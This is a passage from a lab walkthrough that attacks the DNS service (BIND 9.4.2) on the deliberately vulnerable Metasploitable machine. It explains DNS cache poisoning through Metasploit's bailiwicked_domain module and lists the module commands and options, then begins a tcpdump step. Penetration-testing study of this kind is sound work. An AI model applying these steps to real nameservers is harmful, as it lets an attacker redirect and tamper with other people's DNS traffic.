Metasploitable/DNS Bind

Searching for Exploits

Searching for exploits of the DNS service that is running, ISC BIND 9.4.2, we find the following exploit: https://www.exploit-db.com/exploits/6122/

This exploit is labeled auxiliary/spoof/dns/bailiwicked_domain. It allows us to insert malicious DNS records into the DNS server.

DNS Exploit: bailiwicked domain

We can use this exploit by running:

msf > use auxiliary/spoof/dns/bailiwicked_domain

More information:

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain.  By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.  This insertion completely replaces the original nameserver
records for the target domain.

To interpret:

• Metasploit induces the target nameserver to ask for information from a target domain. It then gathers information about the responses to craft its attack.
• Metasploit then induces the target nameserver to ask for random subdomains at the target domain, and sends fake responses from the target domain back to the target nameserver in an attempt to confuse the target nameserver.
• When the attack/spoofing is successful, the target nameserver will receive a new authority server record (faked by Metasploit), and will insert this new record into its DNS cache.
• This means the target nameserver has a new DNS record for the target domain, containing whatever DNS servers were set in the Metasploit attack.
• Now, anyone requesting the target domain from the target nameserver will actually be routed to your (malicious) nameserver, where you can tamper with the request before forwarding it along.

Doing It

Metasploit

We can set up the attack by setting the remote host and the various options through Metasploit.

Start by loading the exploit and showing the available options:

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > show options

Module options (auxiliary/spoof/dns/bailiwicked_domain):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DOMAIN     example.com      yes       The domain to hijack
   INTERFACE                   no        The name of the interface
   NEWDNS                      yes       The hostname of the replacement DNS server
   RECONS     208.67.222.222   yes       The nameserver used for reconnaissance
   RHOST                       yes       The target address
   SNAPLEN    65535            yes       The number of bytes to capture
   SRCADDR    Real             yes       The source address to use for sending the queries (Accepted: Real, Random)
   SRCPORT                     yes       The target server's source query port (0 for automatic)
   TIMEOUT    500              yes       The number of seconds to wait for new data
   TTL        33918            yes       The TTL for the malicious host entry
   XIDS       0                yes       The number of XIDs to try for each query (0 for automatic)

msf auxiliary(bailiwicked_domain) >

Tcpdump

Watching in another window with tcpdump, we can see a steady flow of DNS queries:

# tcpdump -i eth0